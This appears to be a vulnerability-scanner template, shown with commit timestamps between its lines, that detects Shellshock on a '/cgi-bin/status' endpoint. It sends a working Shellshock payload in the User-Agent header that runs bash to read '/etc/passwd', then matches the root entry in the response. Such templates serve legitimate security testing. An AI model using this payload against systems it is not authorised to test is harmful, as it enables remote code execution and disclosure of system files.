2020-05-28 15:20:00 +00:00
|
|
|
id: rce-user-agent-shell-shock
|
|
|
|
|
|
|
|
info:
|
2021-02-12 05:53:01 +00:00
|
|
|
name: Remote Code Execution Via (User-Agent)
|
|
|
|
author: 0xelkomy
|
|
|
|
severity: high
|
|
|
|
tags: shellshock,rce
|
2020-05-28 15:20:00 +00:00
|
|
|
|
|
|
|
requests:
|
2021-02-13 04:55:02 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/cgi-bin/status"
|
2021-09-08 12:17:19 +00:00
|
|
|
|
|
|
|
headers:
|
|
|
|
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
|
|
|
|
|
2021-02-13 04:55:02 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0"
|
2021-02-13 04:55:02 +00:00
|
|
|
part: body
|